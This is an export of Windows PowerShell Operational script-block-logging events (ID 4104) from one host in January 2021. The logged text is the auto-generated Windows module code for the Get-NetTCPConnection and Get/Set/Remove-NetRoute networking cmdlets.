Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1817 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-f72a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetTCPConnection'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetTCPConnection
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetTCPConnection')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('IPAddress')]
[ValidateNotNull()]
[string[]]
${LocalAddress},
[Parameter(ParameterSetName='ByName', Position=1)]
[ValidateNotNull()]
[uint16[]]
${LocalPort},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${RemoteAddress},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RemotePort},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPConnection.State[]]
${State},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPConnection.AppliedSetting[]]
${AppliedSetting},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${OwningProcess},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[datetime[]]
${CreationTime},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetTCPConnection.OffloadState[]]
${OffloadState},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('LocalAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalAddress})
$__cmdletization_queryBuilder.FilterByProperty('LocalAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('LocalPort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LocalPort})
$__cmdletization_queryBuilder.FilterByProperty('LocalPort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemoteAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemoteAddress})
$__cmdletization_queryBuilder.FilterByProperty('RemoteAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RemotePort') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RemotePort})
$__cmdletization_queryBuilder.FilterByProperty('RemotePort', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('State') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${State})
$__cmdletization_queryBuilder.FilterByProperty('State', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AppliedSetting') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AppliedSetting})
$__cmdletization_queryBuilder.FilterByProperty('AppliedSetting', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('OwningProcess') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${OwningProcess})
$__cmdletization_queryBuilder.FilterByProperty('OwningProcess', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CreationTime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CreationTime})
$__cmdletization_queryBuilder.FilterByProperty('CreationTime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('OffloadState') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${OffloadState})
$__cmdletization_queryBuilder.FilterByProperty('OffloadState', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetTCPConnection.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetTCPConnection' -Alias '*'
ScriptBlock ID: af3c1e7f-1858-4f17-8a50-18730d155ec7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1816 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-f42a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
aceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('NextHop') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NextHop})
$__cmdletization_queryBuilder.FilterByProperty('NextHop', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Publish') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Publish})
$__cmdletization_queryBuilder.FilterByProperty('Publish', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('RouteMetric') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RouteMetric})
$__cmdletization_queryBuilder.FilterByProperty('RouteMetric', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Protocol') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Protocol})
$__cmdletization_queryBuilder.FilterByProperty('Protocol', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CompartmentId') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CompartmentId})
$__cmdletization_queryBuilder.FilterByProperty('CompartmentId', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ValidLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ValidLifetime})
$__cmdletization_queryBuilder.FilterByProperty('ValidLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PreferredLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PreferredLifetime})
$__cmdletization_queryBuilder.FilterByProperty('PreferredLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPInterface') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPInterface}, 'MSFT_NetIPInterfaceRoute', 'Antecedent', 'Dependent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetRoute.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetRoute' -Alias '*'
ScriptBlock ID: d9feeec4-80a3-49d6-9109-bf7154d3ee3f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1815 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c2ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
$__cmdletization_values = @(${Protocol})
$__cmdletization_queryBuilder.FilterByProperty('Protocol', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('CompartmentId') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${CompartmentId})
$__cmdletization_queryBuilder.FilterByProperty('CompartmentId', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ValidLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ValidLifetime})
$__cmdletization_queryBuilder.FilterByProperty('ValidLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PreferredLifetime') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PreferredLifetime})
$__cmdletization_queryBuilder.FilterByProperty('PreferredLifetime', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPInterface') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPInterface}, 'MSFT_NetIPInterfaceRoute', 'Antecedent', 'Dependent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetRoute.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetRoute' -Alias '*'
function Set-NetRoute
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetRoute')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${DestinationPrefix},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${NextHop},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol[]]
${Protocol},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetRoute')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish]
${Publish},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[uint16]
${RouteMetric},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[timespan]
${ValidLifetime},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[timespan]
${PreferredLifetime},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DestinationPrefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DestinationPrefix})
$__cmdletization_queryBuilder.FilterByProperty('DestinationPrefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('NextHop') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NextHop})
$__cmdletization_queryBuilder.FilterByProperty('NextHop', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Protocol') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Protocol})
$__cmdletization_queryBuilder.FilterByProperty('Protocol', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Publish')) {
[object]$__cmdletization_value = ${Publish}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Publish'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RouteMetric')) {
[object]$__cmdletization_value = ${RouteMetric}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RouteMetric'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ValidLifetime')) {
[object]$__cmdletization_value = ${ValidLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ValidLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PreferredLifetime')) {
[object]$__cmdletization_value = ${PreferredLifetime}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetRoute.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetRoute' -Alias '*'
function Remove-NetRoute
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetRoute')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${DestinationPrefix},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${NextHop},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Publish[]]
${Publish},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint16[]]
${RouteMetric},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.Protocol[]]
${Protocol},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${CompartmentId},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[timespan[]]
${ValidLifetime},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[timespan[]]
${PreferredLifetime},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPInterface},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetRoute')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('DestinationPrefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DestinationPrefix})
$__cmdletization_queryBuilder.FilterByProperty('DestinationPrefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Interf
ScriptBlock ID: d9feeec4-80a3-49d6-9109-bf7154d3ee3f
